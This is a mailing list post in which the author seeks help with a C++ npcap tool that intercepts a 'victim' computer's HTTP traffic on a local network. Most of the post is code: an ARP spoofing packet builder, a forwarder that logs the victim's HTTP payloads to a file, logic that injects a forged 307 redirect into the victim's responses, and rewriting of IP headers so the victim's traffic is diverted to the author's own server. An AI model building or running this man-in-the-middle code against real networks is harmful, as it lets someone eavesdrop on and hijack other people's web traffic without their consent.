[Winpcap-users] Divert traffic to own NIC by external means
Reznicencu Sergiu
sergiureznicencu at gmail.com
Sat Oct 20 21:42:51 UTC 2018
Hi. I am trying to make a packet capture tool using npcap. What I want to
do is capture the http traffic from a pc "victim" and divert it to my own
server (xampp) on my local machine.
I have aleady implemented the code for checksum (ip/tcp although it still
has some issues-I just couldn't find a complete implementation in C++
online). Actually I already managed to capture the traffic and replace the
http headers with a 302 reponse(moved temporaly).
I also know that I can't just send the packet with my ip and my mac and
expect the NIC to pick it. I know pcap_sendpacket just writes on the wire
(it talks to the connected machine which in my case is the router). No
problem. I can ask the router to resend the packet to me. I can set:
-the destination mac to the one of the router (to look as if it is
intended for him),
-source mac doesn't matter(mine or the victim's..it only shows the
previous machine in the "path"),
-the destination ip will be set to mine (the router will look in his
table and see my ip and the associated mac and will create a new packet
which is destined to me by mac )
-and the source ip will the victim's (so that when my computer gets
the packet and xampp gives a response ,the OS will know to which ip it will
send the answer).
Is anything wrong with my approach or am I missing an easier method?
I know the internet is "dried-out" of npcap code,tcp and ip checksum
methods so this is the code I used(the checksum might still have a problem
with the byte order):
struct EthHeader {
uint8_t dest[6];
uint8_t src[6];
uint16_t ethertype;
};
struct IpHeader {
u_char ihl; // Version (4 bits) + Internet header length (4
bits)
u_char tos; // Type of service
u_short len; // Total length
u_short frag_id; // Identification
u_short frag_offs; // Flags (3 bits) + Fragment offset (13 bits)
u_char ttl; // Time to live
u_char proto; // Protocol
u_short csum; // Header checksum
uint8_t src[4]; // Source address
uint8_t dest[4]; // Destination address
};
struct ArpHeader {
uint16_t htype;
uint16_t ptype;
uint8_t hlen;
uint8_t plen;
uint16_t op;
uint8_t sender_mac[6];
uint8_t sender_ip[4];
uint8_t target_mac[6];
uint8_t target_ip[4];
};
typedef u_int tcp_seq;
struct TcpHeader {
u_short source_port; /* source port */
u_short dest_port; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
u_char th_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};
//Not used
struct tcp_pseudo /*the tcp pseudo header*/
{
uint32_t src_addr;
uint32_t dst_addr;
uint8_t zero;
uint8_t proto;
uint16_t length;
} pseudohead;
void fill_arp_packet(uint8_t *packet, const uint8_t *victim_ip, const
uint8_t *victim_mac, const uint8_t *my_ip, const uint8_t *my_mac) {
EthHeader *eth = (EthHeader *)packet;
ArpHeader *arp = (ArpHeader *)(packet + sizeof(EthHeader));
memcpy(eth->dest, victim_mac, 6);
memcpy(eth->src, my_mac, 6);
eth->ethertype = htons(0x0806);
arp->htype = htons(0x0001);
arp->ptype = htons(0x0800);
arp->hlen = 6;
arp->plen = 4;
arp->op = htons(1); // arp request
memcpy(arp->sender_mac, my_mac, 6);
memcpy(arp->sender_ip, my_ip, 4);
memcpy(arp->target_mac, victim_mac, 6);
memcpy(arp->target_ip, victim_ip, 4);
}
//Calculate IP checksum
//Works pretty well...no incorrect checksum till now
unsigned short csum(const char *buf, unsigned size)
{
unsigned sum = 0;
int i;
/* Accumulate checksum */
for (i = 0; i < size - 1; i += 2) {
unsigned short word16 = *(unsigned short *)&buf[i];
sum += word16;
}
/* Handle odd-sized case */
if (size & 1) {
unsigned short word16 = (unsigned char)buf[i];
sum += word16;
}
/* Fold to get the ones-complement result */
while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16);
/* Invert to get the negative in ones-complement arithmetic */
return ~sum;
}
//Not so well..a few checksum incorrect...solve it if you can
u_short compute_tcp_checksum(IpHeader *pIph, unsigned short *ipPayload,
int payload_size) {
unsigned short prot_tcp = 6;
int len_tcp = payload_size;
long sum;
int i;
sum = 0;
/* Check if the tcp length is even or odd. Add padding if odd. */
if ((len_tcp % 2) == 1) {
ipPayload[len_tcp] = 0; // Empty space in the ip buffer should be
0 anyway.
len_tcp += 1; // incrase length to make even.
}
/*
//If src and dest are declared as int32
uint32_t src = ntohl(pIph->src);
uint32_t dest = ntohl(pIph->dest);
sum += (((unsigned short *)&src)[0]);
sum += (((unsigned short *)&src)[1]);
sum += (((unsigned short *)&dest)[0]);
sum += (((unsigned short *)&dest)[1]);
sum += payload_size; // already in host format.
sum += prot_tcp; // already in host format.*/
sum+= (256*pIph->src[0]+pIph->src[1]);//Big endian?
sum += (256*pIph->src[2] + pIph->src[3]);
sum +=(256*pIph->dest[0] + pIph->dest[1]);
sum += (256*pIph->dest[2] + pIph->dest[3]);
sum += payload_size; // already in host format....do not replace with
len_tcp..payload is always payload and len_tcp changes when payload byte
count is odd
sum += prot_tcp; // already in host format.
/*
calculate the checksum for the tcp header and payload
len_tcp represents number of 8-bit bytes,
we are working with 16-bit words so divide len_tcp by 2.
*/
for (i = 0; i < (len_tcp / 2); i++) {
sum += ntohs(ipPayload[i]);
}
// keep only the last 16 bits of the 32 bit calculated sum and add the
carries
sum = (sum & 0xFFFF) + (sum >> 16);
sum += (sum >> 16);
// Take the bitwise complement of sum
sum = ~sum;
return htons(((unsigned short)sum));
}
//Ip and Tcp headers ARE NOT ALWAYS sizeof(struct)! There might be
"options" that make the header bigger...calculate with this function
int getIpHeadSize(IpHeader *ip) {
return (ip->ihl & 0xF) * 4;
}
int getTcpHeadSize(TcpHeader *tcp) {
return ((tcp->th_offx2 & 0xF0) >> 4) * 4;
}
//Pointer to where the ip layer starts
IpHeader* getIp(const uint8_t *data) {
return (IpHeader *)(data + sizeof(EthHeader));
}
//Pointer to where the tcp layer starts
TcpHeader* getTCP(const uint8_t *data) {
IpHeader *ip = getIp(data);
int ip_len = (ip->ihl & 0xF) * 4;
return (TcpHeader*)(data + sizeof(EthHeader) + ip_len);
}
//Copy tcp payload to buffer
void getPayload(char buffer[65000], pcap_pkthdr *header, const uint8_t
*data) {
uint8_t ip_len = getIpHeadSize(getIp(data));
uint8_t tcp_len = getTcpHeadSize(getTCP(data));
__int64 payload_size = (__int64)header->caplen- (sizeof(EthHeader)+
ip_len + tcp_len);// (__int64)header->caplen - 0x42;// -sizeof(EthHeader) -
sizeof(IpHeader) - sizeof(TcpHeader);
if (payload_size <= 0 || payload_size < 20) {
buffer[0] = 0;
return;
}
memcpy(buffer, data + (sizeof(EthHeader) + ip_len + tcp_len),
min(payload_size, 65000-1));
buffer[min(payload_size, 65000-1)] = 0;
}
//Return pointer to tcp payload
const uint8_t* getPayloadPointer(pcap_pkthdr *header, const uint8_t *data) {
uint8_t ip_len = getIpHeadSize(getIp(data));
uint8_t tcp_len = getTcpHeadSize(getTCP(data));
__int64 payload_size = (__int64)header->caplen - (sizeof(EthHeader) +
ip_len + tcp_len);// (__int64)header->caplen - 0x42;// -sizeof(EthHeader) -
sizeof(IpHeader) - sizeof(TcpHeader);
if (payload_size <= 0 || payload_size < 20) {
return NULL;
}
return (data + (sizeof(EthHeader) + ip_len + tcp_len));
}
//Write tcp payload to file
void writeHTTPDump(FILE *HttpDump,pcap_pkthdr *header,const uint8_t
*packet) {
//fprintf(HttpDump, "TCP Header\n");
//fprintf(HttpDump, " |-Source Port : %u\n", ntohs(tcp->src_port));
//fprintf(HttpDump, " |-Destination Port : %u\n",
ntohs(tcp->dest_port));
//fprintf(HttpDump, " |-Sequence Number : %u\n", ntohl(tcp->sequence));
char payload_string[65000];
IpHeader *ip = getIp(packet);
TcpHeader *tcp = getTCP(packet);
getPayload(payload_string,header, packet);
if (strlen(payload_string) < 10) return;
fprintf(HttpDump, "%s\n", payload_string);
fprintf(HttpDump, "%d\n\n", strlen(payload_string));
fflush(HttpDump);
}
//usually target is router
//oneway=read-listens for packets coming from victim_ip
//otherway-inject-alters packets coming from target(router)
void handle_packet(pcap_t *pcap, pcap_pkthdr *header, const uint8_t *data,
const uint8_t *victim_mac, const uint8_t *victim_ip,
const uint8_t *target_mac, const uint8_t *my_mac, const uint8_t *my_ip)
{
if (header->caplen != header->len || header->len > 65536) {
return;
}
if (header->len < sizeof(EthHeader) + sizeof(IpHeader)) {
return;
}
EthHeader *eth = (EthHeader *)data;
if (htons(eth->ethertype) != 0x0800) {
return;
}
if ((memcmp(eth->src, victim_mac, 6) != 0 && memcmp(eth->src,
target_mac, 6) != 0) || memcmp(eth->dest, my_mac, 6) != 0) {
return;
}
IpHeader *ip = getIp(data);
// || memcmp(ip->dest, my_ip, 4) == 0
//if ((memcmp(ip->src, victim_ip, 4) != 0 && memcmp(ip->dest,
victim_ip, 4) != 0)) {
// return;
//}
if ((memcmp(ip->src, victim_ip, 4) != 0 && memcmp(ip->dest, victim_ip,
4) != 0) || memcmp(ip->dest, my_ip, 4) == 0) {
return;
}
//if not mode specified DO NOT change packets..used just for wireshark
if(oneway || otherway)
switch (ip->proto) //Check the Protocol and do accordingly...
{
case 1: //ICMP Protocol
break;
case 2: //IGMP Protocol
break;
case 6: //TCP Protocol
{
TcpHeader *tcp = getTCP(data);
if (otherway) {
char buffer[65000];
getPayload(buffer, header, data);
const uint8_t *payload_addr = getPayloadPointer(header,
data);
if (payload_addr == NULL) break;
if (strlen(buffer) > 10 && strstr(buffer,"HTTP/1.1 200
OK")==buffer) {
uint8_t new_packet[65536];
memcpy(new_packet, data, header->len);
TcpHeader *new_tcp =getTCP(new_packet);
IpHeader *new_ip = getIp(new_packet);
int ip_len = getIpHeadSize(new_ip);
/*char header[65000]="";
char *temp_buff = buffer;
for (int i = 0; i < strlen(buffer)-1; i++) {
if (buffer[i] == '\r' && buffer[i + 1] == '\n')
{
strncpy_s(header+strlen(header), 65000,
temp_buff, i );
i += 1;
}
}*/
char inject_http[100] = "HTTP/1.1 307\r\nLocation:
http://www.google.ro\r\n\r\n";
strcpy_s((char*)getPayloadPointer(header,new_packet),65000,inject_http);
std::cout << "Redirecting "<<
ip_to_str(new_ip->src)<<" to google.ro" << std::endl;
//inject_http[0] = 0;
pcap_pkthdr new_header;
new_header.caplen = (getPayloadPointer(header,
new_packet) - new_packet) + strlen(inject_http);
new_header.len = new_header.caplen;
new_header.ts = header->ts;
new_ip->len =htons( new_header.caplen -
sizeof(EthHeader));
new_ip->csum = 0;
new_ip->csum = csum((char*)(new_packet +
sizeof(EthHeader)), ip_len);
new_tcp->th_sum = 0;
u_short csum=compute_tcp_checksum(new_ip, (unsigned
short*)(new_tcp), (new_header.len - sizeof(EthHeader) - ip_len));
new_tcp->th_sum = csum;
header = &new_header;
data = new_packet;
}
} else if (oneway) {
if (memcmp(eth->src, victim_mac, 6) == 0 &&
(ntohs(tcp->dest_port) == 80 || ntohs(tcp->dest_port) == 8080)) {
writeHTTPDump(header, data);
}
}
}
break;
case 17: //UDP Protocol
break;
default: //Some Other Protocol like ARP etc.
break;
}
/*Ethernet struct:
uint8_t dest[6];
uint8_t src[6];
*/
uint8_t new_packet[65536];
memcpy(new_packet, data, header->len);
if (memcmp(eth->src, victim_mac, 6) == 0) {
if (ip->proto != 0x06) {
//other packets
memcpy(new_packet, target_mac, 6);
memcpy(new_packet+6, my_mac, 6);
} else {
//tcp
//destined to router
//but the ip is mine..so the router will resend it to me
memcpy(new_packet, target_mac, 6);//destination:router
memcpy(new_packet + 6, my_mac, 6);//source:me(or victim)
IpHeader *newIp = getIp(new_packet);
TcpHeader *newTcp = getTCP(new_packet);
newIp->csum = 0;
memcpy(newIp->dest, my_ip, 4);
memcpy(newIp->src, victim_ip, 4);
newIp->csum = csum((char*)(new_packet + sizeof(EthHeader)),
getIpHeadSize(newIp));
newTcp->th_sum = 0;
u_short csum =compute_tcp_checksum(newIp, (unsigned
short*)(newTcp), (header->len - sizeof(EthHeader) -
getIpHeadSize(newIp)));//difference between corect checksum and this is
exactly 0x6
newTcp->th_sum = csum;
}
} else {
memcpy(new_packet, victim_mac, 6);
memcpy(new_packet+6, my_mac, 6);
}
if (pcap_sendpacket(pcap, new_packet, header->len) != 0) {
fprintf(stderr, "Error forwarding packet: %s\n", pcap_geterr(pcap));
return;
}
}
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://www.winpcap.org/pipermail/winpcap-users/attachments/20181021/a8c9aaf9/attachment-0001.html>
More information about the Winpcap-users
mailing list